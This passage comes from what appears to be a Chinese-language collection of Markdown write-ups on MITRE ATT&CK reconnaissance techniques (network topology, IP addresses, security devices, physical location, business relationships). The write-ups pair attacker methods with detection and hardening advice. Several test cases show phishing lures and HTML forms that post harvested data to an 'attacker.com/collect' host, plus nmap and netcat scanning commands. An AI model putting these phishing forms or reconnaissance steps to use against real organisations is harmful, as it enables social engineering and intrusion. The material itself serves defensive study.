**VPN/远程访问日志**：记录异常的登录尝试或来自未知IP的连接。\n  - **网络流量日志**：检测来自第三方网络的异常流量，可能与信任关系滥用相关。\n  - **身份验证日志**：监控共享凭据或SSO系统的异常使用情况。\n\n## 测试复现\n\n暂无标准化复现流程。可通过以下方式模拟：\n- **外部测试**：\n  - 使用FOFA或Shodan搜索目标组织的VPN网关或远程访问服务，分析可能的信任关系。\n  - 通过Google搜索或社交媒体收集与目标组织合作的第三方信息。\n- **内部测试**：\n  - 在授权测试环境中，模拟通过已攻陷的第三方系统（如分公司的服务器）尝试访问目标网络。\n  - 使用Nmap扫描内网，识别与外部信任网络（如VPN或专线）相关的设备。\n- **社会工程模拟**：\n  - 在红队测试中，伪装成合作伙伴发送钓鱼邮件，诱导员工泄露信任关系信息。\n\n## 测试留痕\n\n- **社会工程**：可能在邮件服务器或员工设备上留下钓鱼邮件或交互记录。\n- **外部扫描**：防火墙或IDS/IPS可能记录异常的扫描流量（如针对VPN端口的探测）。\n- **公开信息收集**：通常不留明显痕迹，难以直接检测。\n- **信任关系滥用**：可能在VPN或身份验证日志中记录异常的登录尝试或流量。\n\n## 检测规则/思路\n由于网络信任关系收集活动难以直接检测，建议从以下角度进行监控：\n- **外部活动检测**：\n  - 使用IDS/IPS（如Snort、Suricata）监控针对VPN、远程桌面或管理接口的异常扫描行为。\n  - 配置WAF（Web应用防火墙）检测针对企业网站的异常爬取行为。\n  - 监控DNS查询日志，识别针对组织域名的频繁或异常查询。\n- **内部行为监控**：\n  - 使用SIEM系统关联VPN、身份验证和网络流量日志，检测来自第三方网络的异常访问。\n  - 部署EDR（端点检测与响应）工具，监控员工设备上的异常进程（如运行钓鱼邮件附件）。\n- **信息泄露防护**：\n  - 使用DLP（数据丢失防护）工具，检测员工通过邮件、网盘或社交媒体泄露信任关系信息。\n  - 定期监控公开信息源（如Pastebin、暗网论坛）中是否出现与组织相关的信任关系数据。\n- **威胁情报整合**：\n  - 结合外部威胁情报，识别已知的恶意IP或钓鱼活动，关联可能的侦察行为。\n  - 监控第三方合作伙伴的公开数据泄露事件，评估对自身信任关系的影响。\n\n## 建议\n- **减少信息暴露**：\n  - 限制公开文档中与合作伙伴、供应商或分公司的网络连接信息。\n  - 对员工进行安全意识培训，防止通过社交媒体或钓鱼泄露信任关系信息。\n  - 使用WHOIS隐私保护服务，减少域名注册信息暴露。\n- **网络安全加固**：\n  - 实施强身份验证（如MFA）保护VPN、SSO或远程访问系统。\n  - 配置网络分段，限制第三方网络对核心系统的直接访问。\n  - 定期审计与第三方合作的网络连接（如专线、VPN），确保访问权限最小化。\n- **主动监控与响应**：\n  - 部署网络流量分析工具（如Zeek、NetFlow）监控与第三方网络的异常交互。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的侦察或信任关系滥用行为。\n  - 定期审查第三方合作伙伴的安全合规性，确保其网络安全措施达标。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如初始访问T1199、横向移动T1021），通过异常登录或网络流量间接发现侦察活动。\n\n## 参考资料\n- MITRE ATT&CK: T1590-001  \n  <https://attack.mitre.org/techniques/T1590/001/>\n- 渗透测试信息收集技术  \n  <https://blog.csdn.net/weixin_45677119/article/details/110870703>\n"
  },
  {
    "path": "Windows/01侦察/T1590.004-收集目标组织网络信息-网络拓扑.md",
    "content": "# T1590-004-收集目标组织网络信息-网络拓扑\n\n## 描述\n\n攻击者在入侵目标组织之前，可能通过多种方式收集其网络拓扑信息。这些信息包括目标网络的物理或逻辑布局，例如内部和外部网络的结构、关键网络设备（如网关、路由器、交换机）的分布，以及其他基础设施的详细信息（如DMZ、子网划分）。通过了解网络拓扑，攻击者能够识别关键节点、潜在弱点或入口点，为后续的初始访问（如T1133外部远程服务）或横向移动（如T1021）奠定基础。\n\n攻击者可能通过以下方式收集网络拓扑信息：\n- **外部收集**：利用公开信息源（如搜索引擎、社交媒体、泄露的文档）或主动扫描外部网络接口。\n- **内部收集**：在获得初始访问后，通过内网扫描、流量嗅探或配置信息提取获取更详细的拓扑信息。\n- **社会工程**：通过钓鱼或社交媒体（如QQ群、论坛）获取员工泄露的网络架构信息。\n\n## 测试案例\n\n以下是收集网络拓扑信息的常见方法和工具：\n- **外部收集**：\n  - **搜索引擎利用**：使用Google高级搜索语法（如`site:*.target.com filetype:pdf \"network diagram\"`）查找公开的网络架构文档。\n  - **网盘检索**：搜索网盘（如百度网盘、Google Drive）中泄露的网络拓扑图或配置文件。\n  - **社交媒体和论坛**：通过QQ群、微信群、Discord或技术论坛收集员工无意泄露的网络信息。\n  - **被动DNS分析**：使用工具（如DNS Dumpster、SecurityTrails）分析DNS记录，推测子网或服务器分布。\n- **内部收集**：\n  - **网络扫描工具**：\n    - **Nmap**：扫描内网IP范围，识别活跃主机、开放端口及服务。\n    - **Angry IP Scanner**：快速扫描内网设备，获取IP和MAC地址。\n  - **流量嗅探**：使用Wireshark或tcpdump捕获网络流量，分析通信模式以推导拓扑。\n  - **配置提取**：通过已攻陷设备提取路由器或交换机的配置文件（如Cisco IOS的`show running-config`）。\n- **空间搜索引擎**：\n  - **FOFA/Shodan**：搜索目标组织的外部设备（如路由器、VPN网关）以推测网络边界。\n  - **ZoomEye**：识别暴露的网络设备和服务。\n\n## 检测日志\n\n网络拓扑信息收集多发生在目标组织视野之外，检测难度较大。以下是可能用于检测的日志来源：\n- **外部探测**：\n  - **防火墙日志**：记录异常的外部扫描流量（如高频SYN包或端口扫描）。\n  - **Web服务器日志**：检测异常的HTTP请求，可能与搜索引擎爬取或恶意探测相关。\n  - **DNS日志**：监控针对组织域名的异常DNS查询。\n- **内部活动**：\n  - **网络流量日志**：检测内网中的异常扫描行为或流量模式。\n  - **系统日志**：记录对网络设备（如路由器、交换机）的未授权访问尝试。\n  - **EDR日志**：监控主机上的异常进程（如运行Nmap或Wireshark）。\n\n## 测试复现\n\n暂无标准化复现流程。可通过以下方式模拟：\n- **外部测试**：使用FOFA或Shodan搜索目标组织的外部设备，结合Nmap进行端口扫描，记录暴露的网关或服务器。\n- **内部测试**：在授权测试环境中，使用Nmap扫描内网IP范围，结合Wireshark捕获流量，绘制简单的网络拓扑图。\n- **社会工程模拟**：在红队测试中，尝试通过公开信息源（如LinkedIn、论坛）或伪装身份获取员工泄露的网络信息。\n\n## 测试留痕\n\n- **外部探测**：可能在防火墙或IDS/IPS中留下扫描流量记录，如高频TCP/UDP连接尝试。\n- **内部扫描**：内网设备可能记录异常的ARP请求、端口扫描或流量嗅探行为。\n- **社会工程**：可能在邮件服务器或社交平台日志中留下钓鱼或信息收集的痕迹。\n- **被动收集**：通过公开数据库或搜索引擎进行的收集通常不留明显痕迹。\n\n## 检测规则/思路\n\n由于网络拓扑收集活动难以直接检测，建议从以下角度进行监控：\n- **外部扫描检测**：\n  - 使用IDS/IPS（如Snort、Suricata）监控高频扫描流量或异常端口访问。\n  - 设置防火墙规则，限制对敏感端口（如管理端口22、3389）的外部访问。\n- **内部行为监控**：\n  - 部署网络监控工具（如Zeek）分析内网流量，检测异常的扫描或嗅探行为。\n  - 使用SIEM系统关联主机和网络日志，识别运行扫描工具的异常进程。\n- **信息泄露防护**：\n  - 监控公开信息源（如Pastebin、网盘）中是否出现组织的网络拓扑图或配置文件。\n  - 使用DLP（数据丢失防护）工具检测员工通过邮件或社交媒体泄露敏感信息。\n- **威胁情报整合**：结合外部威胁情报，识别已知的恶意IP或扫描模式，关联可能的侦察活动。\n\n## 建议\n\n- **减少信息暴露**：\n  - 限制公开文档中的网络拓扑信息，避免在官网或网盘泄露架构图。\n  - 对员工进行安全意识培训，防止通过社交媒体或论坛泄露敏感信息。\n  - 使用CDN或WAF隐藏关键网络设备的真实IP地址。\n- **网络安全加固**：\n  - 限制外部对管理接口（如SSH、RDP）的访问，仅允许白名单IP。\n  - 配置VLAN和网络分段，减少内网设备暴露面。\n  - 定期更新网络设备的固件和访问控制列表（ACL）。\n- **主动监控与响应**：\n  - 部署网络流量分析工具（如Zeek、NetFlow）监控异常流量。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的侦察行为。\n  - 定期审计网络设备配置，检查是否被未授权访问。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如初始访问T1133、横向移动T1021），通过异常登录或网络流量间接发现侦察活动。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1590-004  \n  <https://attack.mitre.org/techniques/T1590/004/>\n- 渗透测试信息收集技术  \n  <https://blog.csdn.net/weixin_45677119/article/details/110870703>"
  },
  {
    "path": "Windows/01侦察/T1590.005-收集目标组织网络信息-IP地址.md",
    "content": "# T1590-005-收集目标组织网络信息-IP地址\n\n## 描述\n\n攻击者可能在攻击前收集目标组织的IP地址信息，以了解其网络结构和基础设施。IP地址信息通常包括分配给目标组织的IP地址块、当前使用的IP地址范围等。这些信息可帮助攻击者推测目标的组织规模、地理位置、互联网服务提供商（ISP）以及面向公众的基础设施部署情况。\n\n攻击者可能通过以下方式收集IP地址信息：\n- **主动收集**：使用扫描工具（如Nmap、Masscan）或钓鱼技术。\n- **被动收集**：查询公开技术数据库（如WHOIS、DNS Dumpster、Circl Passive DNS）或利用空间搜索引擎（如FOFA、ZoomEye）。\n- **绕过CDN**：通过技术手段（如DNS历史记录查询）获取隐藏在CDN后的真实IP地址。\n\n收集到的IP地址信息可能为后续攻击活动做准备，例如主动扫描（T1595）、搜索开放网站/域名（T1593）或建立运营资源（T1583/T1584），最终支持初始访问（如利用外部远程服务，T1133）。\n\n## 测试案例\n\n以下是收集IP地址信息的常见方法和工具：\n- **网络扫描工具**：\n  - **Nmap**：用于发现目标网络中的活跃IP地址和开放端口。\n  - **Masscan**：高效扫描大规模IP地址范围。\n  - **Goby**：自动化资产发现和漏洞扫描工具。\n- **空间搜索引擎**：\n  - **FOFA**：通过搜索特定IP地址或网络特征发现目标资产。\n  - **ZoomEye**：提供全球IP地址和设备指纹的查询功能。\n- **绕过CDN查找真实IP**：\n  - 使用DNS历史记录查询工具（如SecurityTrails、DNS Dumpster）。\n  - 参考方法：<https://blog.csdn.net/weixin_45677119/article/details/110870703>。\n\n## 检测日志\n\n由于IP地址信息收集多发生在目标组织网络外部（如通过公开数据库或扫描），传统日志难以有效监测。可能的日志来源包括：\n- **DNS日志**：监控异常的DNS查询行为。\n- **网络流量日志**：检测来自外部的扫描流量（如高频SYN包）。\n- **Web服务器日志**：记录异常的HTTP请求，可能与钓鱼或探测相关。\n\n## 测试复现\n\n暂无标准化复现流程。攻击者通常结合主动扫描和被动查询完成IP地址收集，具体复现需根据目标环境模拟工具使用（如Nmap扫描或FOFA查询）。\n\n## 测试留痕\n\n- **主动扫描**：目标网络可能记录到异常的扫描流量（如来自单一IP的高频端口扫描）。\n- **被动查询**：通常不留明显痕迹，难以直接检测。\n- **CDN绕过**：可能在DNS查询日志中留下历史记录查询的痕迹。\n\n## 检测规则/思路\n\n由于IP地址收集活动多发生在目标组织视野之外，检测较为困难。以下是一些检测思路：\n- **异常流量监控**：使用IDS/IPS（如Snort、Suricata）检测异常扫描行为，例如高频TCP/UDP连接尝试。\n- **DNS查询分析**：监控异常的DNS查询模式，特别是针对组织域名的频繁查询。\n- **威胁情报整合**：结合外部威胁情报，识别已知的恶意IP或扫描来源。\n- **CDN日志分析**：若使用CDN，分析CDN日志中的异常请求，检测可能的IP泄露尝试。\n\n## 建议\n\n- **降低信息暴露**：\n  - 限制WHOIS记录中的敏感信息（如联系方式）。\n  - 使用CDN隐藏真实服务器IP地址。\n  - 定期检查公开数据库中的IP信息泄露。\n- **增强网络防御**：\n  - 部署防火墙和IDS/IPS，限制未经授权的扫描流量。\n  - 配置WAF（Web应用防火墙）以检测和阻止异常探测行为。\n- **主动监控**：\n  - 使用威胁情报平台跟踪针对组织的侦察活动。\n  - 定期审计DNS记录和IP分配，防止泄露。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如初始访问T1133），通过异常登录或外部远程服务利用行为间接发现侦察活动。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1590-005  \n  <https://attack.mitre.org/techniques/T1590/005/>\n- 渗透测试信息收集技术  \n  <https://blog.csdn.net/weixin_45677119/article/details/110870703>"
  },
  {
    "path": "Windows/01侦察/T1590.006-收集目标组织网络信息-网络安全设备.md",
    "content": "# T1590-006-收集目标组织网络信息-网络安全设备\n\n## 描述\n\n在入侵目标组织之前，攻击者可能通过多种外部方式收集目标组织的网络安全设备信息（T1590.006）。这些信息可用于目标定位、了解网络防御能力或指导后续攻击活动（如外部远程服务 T1133、漏洞利用 T1190 或供应链攻击 T1195）。网络安全设备信息通常包括已部署的防火墙、内容筛选器、代理/堡垒主机、网络入侵检测系统（NIDS）或其他防御性设备的型号、版本或配置详情。由于这些活动通常在目标组织的监测范围之外（如通过公开数据源、主动扫描或社交工程）进行，防御者难以直接发现。\n\n攻击者收集网络安全设备信息的动机包括：\n- **规避防御机制**：通过识别防火墙或 NIDS 的型号和版本，寻找可利用的漏洞或绕过策略。\n- **定制攻击向量**：利用设备信息开发针对特定安全设备的攻击技术（如针对蜜罐的识别与阻断）。\n- **供应链攻击**：识别安全设备供应商，寻找供应链中的弱点。\n\n## 测试案例\n\n以下测试案例展示了攻击者可能使用的外部网络安全设备信息收集方法，聚焦于公开数据源、主动扫描和社交工程，特别包括通过公开采购信息和 WEB 蜜罐识别技术收集信息。\n\n#### 测试案例 1：通过公开采购信息收集网络安全设备信息\n**关联技术**：T1590.006（网络安全设备信息收集）  \n**说明**：  \n- 攻击者通过公开的采购公告、招标文件或公司官网，提取目标组织使用的防火墙、NIDS 或其他安全设备的型号和版本。  \n**示例操作**：\n- 搜索目标组织的采购公告，关键词包括“防火墙”、“NIDS”、“代理”或“安全设备”。\n- 示例采购公告：  \n  ```\n  采购 Cisco ASA 5525-X 防火墙和 Fortinet FortiGate 100F 用于网络安全升级。\n  ```\n**输出示例**：\n```\nOrganization: example.com\nSecurity Devices: Cisco ASA 5525-X Firewall, Fortinet FortiGate 100F\n```\n**说明**：  \n- 公开采购信息可能泄露安全设备的型号和供应商。  \n- 关联 T1590.006：通过公开采购信息收集网络安全设备数据。\n\n#### 测试案例 2：通过社交媒体收集网络安全设备信息\n**关联技术**：T1590.006（网络安全设备信息收集）  \n**说明**：  \n- 攻击者通过 LinkedIn、微博或技术论坛（如 CSDN、Reddit），收集员工分享的网络安全设备部署或配置信息。  \n**示例操作**（Python 伪代码）：\n```python\nimport requests\nfrom bs4 import BeautifulSoup\nurl = \"https://www.linkedin.com/company/example-org/posts/\"\nresponse = requests.get(url)\nsoup = BeautifulSoup(response.text, 'html.parser')\n# 提取网络安全设备相关信息\nsecurity_info = [post.text for post in soup.find_all(text=lambda t: \"firewall\" in t.lower() or \"nids\" in t.lower())]\nprint(security_info)\n```\n**输出示例**：\n```\nPost: \"Just upgraded our network with Palo Alto PA-220 firewalls.\"\nSecurity Device: Palo Alto PA-220 Firewall\n```\n**说明**：  \n- 员工可能在社交媒体分享安全设备的部署信息。  \n- 关联 T1590.006：通过社交媒体获取网络安全设备信息。\n\n#### 测试案例 3：钓鱼收集网络安全设备信息\n**关联技术**：T1590.006（网络安全设备信息收集）、T1566（钓鱼）  \n**说明**：  \n- 攻击者通过伪造的邮件或调查问卷，诱导员工泄露防火墙、NIDS 或代理设备的型号和版本信息。  \n**示例操作**：\n- 发送伪造邮件：  \n  ```\n  Subject: 网络安全设备调查\n  Body: 请提供您公司使用的防火墙或 NIDS 型号以协助技术支持：http://fake-survey.com\n  ```\n- 伪造调查页面（HTML 伪代码）：  \n  ```html\n  <form action=\"http://attacker.com/collect\" method=\"POST\">\n      防火墙型号: <input type=\"text\" name=\"firewall\">\n      NIDS 型号: <input type=\"text\" name=\"nids\">\n      <input type=\"submit\" value=\"提交\">\n  </form>\n  ```\n**输出示例**（攻击者服务器日志）：\n```\nPOST /collect HTTP/1.1\nfirewall=Cisco ASA 5525-X&nids=Snort 3.1\n```\n**说明**：  \n- 钓鱼攻击可直接收集网络安全设备信息，为后续攻击提供基础。  \n- 关联 T1590.006：通过钓鱼获取网络安全设备信息。\n\n#### 测试案例 4：通过主动扫描识别网络安全设备\n**关联技术**：T1590.006（网络安全设备信息收集）、T1046（网络服务扫描）  \n**说明**：  \n- 攻击者通过端口扫描或 Banner 抓取识别目标网络中部署的防火墙、代理或 NIDS 设备。  \n**示例操作**：\n```bash\n# 使用 Nmap 扫描目标网络\nnmap -sV -p 80,443,8080 192.168.1.10\n# 或使用 netcat 抓取 Banner\nnc 192.168.1.10 443\nHEAD / HTTP/1.0\n```\n**输出示例**：\n```\nNmap scan report for 192.168.1.10\nPort 443/tcp open  https    Fortinet FortiGate 100F\n```\n**说明**：  \n- `nmap -sV` 可识别防火墙或代理设备的型号，Banner 抓取可能暴露设备信息。  \n- 关联 T1590.006：通过主动扫描收集网络安全设备信息。\n\n#### 测试案例 5：通过 WEB 蜜罐识别技术收集信息\n**关联技术**：T1590.006（网络安全设备信息收集）  \n**说明**：  \n- 攻击者使用专门工具或插件（如红队常用的 WEB 蜜罐识别阻断插件）检测目标网络中的蜜罐或防御设备。  \n**示例操作**：\n- 使用浏览器插件或脚本扫描目标网站，识别是否存在蜜罐（如 T-Pot 或 Cowrie）。  \n**示例工具**（参考 FreeBuf 文章）：\n```bash\n# 使用红队工具检测蜜罐\npython detect_honeypot.py --url https://example.com\n```\n**输出示例**：\n```\nURL: https://example.com\nSecurity Device: T-Pot Honeypot detected\n```\n**说明**：  \n- 红队工具可帮助攻击者识别蜜罐或其他防御设备，规避检测。  \n- 关联 T1590.006：通过蜜罐识别技术收集网络安全设备信息。\n\n## 测试复现\n\n### 外部场景（公开信息收集）\n1. **环境**：Kali Linux 或任何带有浏览器的系统。\n2. **步骤**：\n   - 搜索目标组织的采购公告或社交媒体，提取网络安全设备相关关键词（如“firewall”、“NIDS”）。\n   - 访问公司官网（如 `https://example.com/news`），查找安全设备采购或部署信息。\n   - 使用伪造邮件或调查问卷诱导员工泄露安全设备信息。\n   - 使用 Nmap 扫描：`nmap -sV -p 80,443,8080 192.168.1.10`。\n   - 使用红队工具（如蜜罐识别插件）扫描目标网站。\n3. **预期结果**：返回网络安全设备信息（如 `Cisco ASA 5525-X Firewall`, `T-Pot Honeypot`）。\n\n## 测试留痕\n\n### 外部场景\n- **Web 服务器日志**（若爬取官网）：\n  ```\n  203.0.113.1 - - [26/May/2025:08:01:00 +0000] \"GET /news HTTP/1.1\" 200 1234\n  ```\n- **邮件网关日志**（钓鱼场景）：\n  ```\n  Email from: support@fake.com, Subject: 网络安全设备调查, URL: http://fake-survey.com\n  ```\n- **网络流量日志**（扫描场景）：\n  ```\n  TCP 443, Source: 203.0.113.1, Request: HEAD / HTTP/1.0\n  ```\n\n## 建议\n\n### 防御措施\n1. **减少公开信息暴露**：\n   - 避免在官网、采购公告或社交媒体泄露网络安全设备的型号或版本信息。\n   - 对采购信息进行模糊化处理（如避免提及具体设备型号）。\n   - 配置 Web 服务器限制爬虫访问敏感页面（如使用 CAPTCHA 或限流）。\n2. **员工培训**：\n   - 教育员工识别钓鱼邮件，避免泄露网络安全设备信息。\n   - 指导员工在社交媒体限制与安全设备相关的细节分享。\n3. **主动 OSINT 评估**：\n   - 使用公开数据源（如企查查、Crunchbase）模拟攻击者行为，评估安全设备信息的暴露程度。\n   - 定期检查 Pastebin 或暗网，识别泄露的设备信息。\n4. **网络安全配置**：\n   - 使用防火墙限制对敏感端口（如 443、8080）的外部扫描。\n   - 部署 WAF（Web 应用防火墙）拦截异常爬虫或扫描行为。\n   - 配置蜜罐以误导攻击者，保护真实安全设备。\n5. **设备安全管理**：\n   - 定期更新防火墙、NIDS 和代理设备的固件，修复已知漏洞。\n   - 隐藏设备 Banner 信息，减少扫描暴露的风险。\n\n### 后续阶段监控\n- **钓鱼攻击（T1566）**：\n   - 关注利用安全设备信息的钓鱼邮件。\n- **漏洞利用（T1190）**：\n   - 关注针对防火墙或 NIDS 漏洞的攻击。\n- **供应链攻击（T1195）**：\n   - 关注异常的安全设备供应商通信。\n- **外部远程服务（T1133）**：\n   - 关注利用设备信息的远程访问尝试。\n\n### 外部情报监控\n\n- 订阅威胁情报服务，获取针对组织网络安全设备的扫描或漏洞利用预警。\n- 监控暗网或 Pastebin，识别泄露的防火墙或 NIDS 信息。\n- 与行业合作伙伴共享威胁情报，了解类似组织的攻击模式。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1590-006  \n  <https://attack.mitre.org/techniques/T1590/006/>\n- 红队必备：WEB 蜜罐识别阻断插件  \n  <https://www.freebuf.com/articles/web/246938.html>"
  },
  {
    "path": "Windows/01侦察/T1591.001-收集目标组织信息-确定物理位置.md",
    "content": "# T1591-001-收集目标组织信息-确定物理位置\n\n## 描述\n\n在入侵目标组织之前，攻击者可能通过多种外部方式收集目标组织的物理位置信息（T1591.001）。这些信息可用于目标定位、了解组织运营环境或指导后续攻击活动（如钓鱼攻击 T1566、信任关系利用 T1199 或物理入侵 T1200）。物理位置信息通常包括组织的分支机构地址、部门/分部的地理位置、办公楼的具体位置，以及关键设施（如数据中心）的详细信息。由于这些活动通常在目标组织的监测范围之外（如通过公开数据源或社交工程）进行，防御者难以直接发现。\n\n攻击者收集物理位置信息的动机包括：\n- **物理入侵准备**：通过获取办公地点或数据中心地址，规划未经授权的物理访问。\n- **精准社交工程**：利用物理位置信息定制钓鱼邮件或伪装成本地服务提供商。\n- **供应链或信任关系攻击**：结合物理位置信息，识别供应链中的本地供应商或合作伙伴。\n\n## 测试案例\n\n以下测试案例展示了攻击者可能使用的外部物理位置信息收集方法，聚焦于公开数据源和社交工程，特别包括受害者的个人社交信息（如微博、微信、QQ）以及通过官方网站获取的组织位置信息。\n\n#### 测试案例 1：通过社交媒体收集物理位置信息\n**关联技术**：T1591.001（物理位置信息收集）  \n**说明**：  \n- 攻击者通过微博、微信、QQ、LinkedIn 或其他社交媒体平台，收集员工分享的办公地点或签到信息。  \n**示例操作**（Python 伪代码）：\n```python\nimport requests\nfrom bs4 import BeautifulSoup\nurl = \"https://www.weibo.com/example-org\"\nresponse = requests.get(url)\nsoup = BeautifulSoup(response.text, 'html.parser')\n# 提取物理位置相关信息\nlocation_info = [post.text for post in soup.find_all(text=lambda t: \"office\" in t.lower() or \"check-in\" in t.lower())]\nprint(location_info)\n```\n**输出示例**：\n```\nPost: \"Checked in at Example Corp HQ, 123 Tech Street, Beijing.\"\nPhysical Location: 123 Tech Street, Beijing\n```\n**说明**：  \n- 员工可能在社交媒体分享办公地点或签到信息。  \n- 关联 T1591.001：通过社交媒体获取物理位置信息。\n\n#### 测试案例 2：通过公司官网收集物理位置信息\n**关联技术**：T1591.001（物理位置信息收集）  \n**说明**：  \n- 攻击者通过公司官网的“联系我们”或“关于我们”页面，提取组织的分支机构地址或办公地点信息。  \n**示例操作**：\n```bash\n# 访问公司官网的联系页面\ncurl https://example.com/contact\n```\n**输出示例**：\n```\nPage Content: \"Visit us at our headquarters: 123 Tech Street, Beijing, China.\"\nPhysical Location: 123 Tech Street, Beijing, China\n```\n**说明**：  \n- 公司官网可能公开分支机构或办公地点信息。  \n- 关联 T1591.001：通过官网获取物理位置信息。\n\n#### 测试案例 3：钓鱼收集物理位置信息\n**关联技术**：T1591.001（物理位置信息收集）、T1566（钓鱼）  \n**说明**：  \n- 攻击者通过伪造的邮件或调查问卷，诱导员工泄露办公地点或设施地址信息。  \n**示例操作**：\n- 发送伪造邮件：  \n  ```\n  Subject: 办公室地址确认\n  Body: 请提供您所在办公室的地址以协助物流安排：http://fake-survey.com\n  ```\n- 伪造调查页面（HTML 伪代码）：  \n  ```html\n  <form action=\"http://attacker.com/collect\" method=\"POST\">\n      办公室地址: <input type=\"text\" name=\"office_address\">\n      分支机构: <input type=\"text\" name=\"branch\">\n      <input type=\"submit\" value=\"提交\">\n  </form>\n  ```\n**输出示例**（攻击者服务器日志）：\n```\nPOST /collect HTTP/1.1\noffice_address=123 Tech Street, Beijing&branch=Shanghai Office, 456 Innovation Road\n```\n**说明**：  \n- 钓鱼攻击可直接收集物理位置信息，为物理入侵或精准社交工程提供基础。  \n- 关联 T1591.001：通过钓鱼获取物理位置信息。\n\n#### 测试案例 4：通过公开数据源收集物理位置信息\n**关联技术**：T1591.001（物理位置信息收集）  \n**说明**：  \n- 攻击者通过公开数据源（如 Google Maps、企查查、Crunchbase）或在线地图查询目标组织的办公地点或设施地址。  \n**示例操作**：\n```bash\n# 在 Google Maps 查询公司地址\ncurl https://maps.google.com?q=Example+Corp\n# 或在企查查查询公司注册地址\n```\n**输出示例**：\n```\nOrganization: Example Corp\nPhysical Location: 123 Tech Street, Beijing, China\n```\n**说明**：  \n- 公开数据源或在线地图可能暴露组织的分支机构或办公地址。  \n- 关联 T1591.001：通过公开数据源获取物理位置信息。\n\n## 测试复现\n\n### 外部场景（公开信息收集）\n1. **环境**：Kali Linux 或任何带有浏览器的系统。\n2. **步骤**：\n   - 搜索目标组织的社交媒体（如微博、LinkedIn），提取物理位置相关关键词（如“office”、“check-in”）。\n   - 访问公司官网（如 `https://example.com/contact`），查找分支机构或办公地址。\n   - 使用伪造邮件或调查问卷诱导员工泄露办公地点信息。\n   - 查询公开数据源（如 Google Maps、企查查），提取公司地址信息。\n3. **预期结果**：返回物理位置信息（如 `123 Tech Street, Beijing`, `Shanghai Office, 456 Innovation Road`）。\n\n## 测试留痕\n\n### 外部场景\n- **Web 服务器日志**（若爬取官网）：\n  ```\n  203.0.113.1 - - [26/May/2025:08:01:00 +0000] \"GET /contact HTTP/1.1\" 200 1234\n  ```\n- **邮件网关日志**（钓鱼场景）：\n  ```\n  Email from: support@fake.com, Subject: 办公室地址确认, URL: http://fake-survey.com\n  ```\n\n## 建议\n\n### 防御措施\n\n1. **减少公开信息暴露**：\n   - 避免在官网、社交媒体或新闻发布中泄露分支机构或办公地点的详细地址。\n   - 对公开信息进行模糊化处理（如使用通用联系地址而非具体办公地址）。\n   - 配置 Web 服务器限制爬虫访问敏感页面（如使用 CAPTCHA 或限流）。\n2. **员工培训**：\n   - 教育员工识别钓鱼邮件，避免泄露办公地点或设施信息。\n   - 指导员工在社交媒体（如微博、微信）限制签到或位置相关信息的分享。\n3. **主动 OSINT 评估**：\n   - 使用 Google Maps、企查查或 LinkedIn 模拟攻击者行为，评估公开物理位置信息的暴露程度。\n   - 定期检查 Pastebin 或暗网，识别泄露的办公地址信息。\n4. **物理安全管理**：\n   - 实施严格的物理访问控制，防止未经授权的进入。\n   - 限制办公地点在公开地图或数据源中的暴露（如请求 Google Maps 模糊化办公楼街景）。\n5. **网络安全配置**：\n   - 使用防火墙限制对公司官网敏感页面的外部访问。\n   - 部署 WAF（Web 应用防火墙）拦截异常爬虫行为。\n\n### 后续阶段监控\n- **钓鱼攻击（T1566）**：\n   - 关注利用物理位置信息的钓鱼邮件。\n- **信任关系利用（T1199）**：\n   - 关注伪装成本地服务提供商的攻击行为。\n- **物理入侵（T1200）**：\n   - 关注基于办公地址的未经授权访问。\n\n### 外部情报监控\n\n- 订阅威胁情报服务，获取针对组织物理位置的社交工程或物理入侵预警。\n- 监控暗网或 Pastebin，识别泄露的办公地址或设施信息。\n- 与行业合作伙伴共享威胁情报，了解类似组织的攻击模式。\n\n## 参考推荐\n- MITRE ATT&CK: T1591-001  \n  <https://attack.mitre.org/techniques/T1591/001/>\n"
  },
  {
    "path": "Windows/01侦察/T1591.002-收集目标组织信息-业务关系.md",
    "content": "# T1591-002-收集目标组织信息-业务关系\n\n## 描述\n\n在入侵目标组织之前，攻击者可能通过多种外部方式收集目标组织业务关系的信息（T1591.002）。这些信息可用于目标定位、了解组织的网络访问权限或指导后续攻击活动（如供应链攻击 T1195、钓鱼攻击 T1566、信任关系利用 T1199 或路过式下载 T1189）。业务关系信息通常包括与目标组织有连接的第二或第三方组织/域（如托管服务提供商、承包商、母子公司），以及硬件和软件资源的供应链和运送路径。由于这些活动通常在目标组织的监测范围之外（如通过公开数据源或社交工程）进行，防御者难以直接发现。\n\n攻击者收集业务关系信息的动机包括：\n- **供应链攻击**：识别母子公司、供应商或承包商，寻找可利用的弱点。\n- **信任关系利用**：利用业务关系中的信任网络（如托管服务提供商），实现初始访问。\n- **精准社交工程**：通过了解业务关系，定制钓鱼邮件或伪装成合作伙伴。\n\n## 测试案例\n\n以下测试案例展示了攻击者可能使用的外部业务关系信息收集方法，聚焦于公开数据源和社交工程，特别包括受害者的个人社交信息（如微博、微信、QQ）以及上下游关系（如母子公司、供应商）。\n\n#### 测试案例 1：通过社交媒体收集业务关系信息\n**关联技术**：T1591.002（业务关系信息收集）  \n**说明**：  \n- 攻击者通过微博、微信、QQ、LinkedIn 或其他社交媒体平台，收集目标组织员工分享的业务关系信息，如合作伙伴或供应商名称。  \n**示例操作**（Python 伪代码）：\n```python\nimport requests\nfrom bs4 import BeautifulSoup\nurl = \"https://www.weibo.com/example-org\"\nresponse = requests.get(url)\nsoup = BeautifulSoup(response.text, 'html.parser')\n# 提取业务关系相关信息\nrelationship_info = [post.text for post in soup.find_all(text=lambda t: \"partner\" in t.lower() or \"supplier\" in t.lower())]\nprint(relationship_info)\n```\n**输出示例**：\n```\nPost: \"Excited to partner with CloudTech for our new cloud infrastructure!\"\nBusiness Relationship: Partner - CloudTech\n```\n**说明**：  \n- 员工或公司在社交媒体（如微博、LinkedIn）可能分享与合作伙伴或供应商的相关信息。  \n- 关联 T1591.002：通过社交媒体获取业务关系信息。\n\n#### 测试案例 2：通过公司官网收集业务关系信息\n**关联技术**：T1591.002（业务关系信息收集）  \n**说明**：  \n- 攻击者通过公司官网的“合作伙伴”或“关于我们”页面，提取业务关系信息，如母子公司或供应商名称。  \n**示例操作**：\n```bash\n# 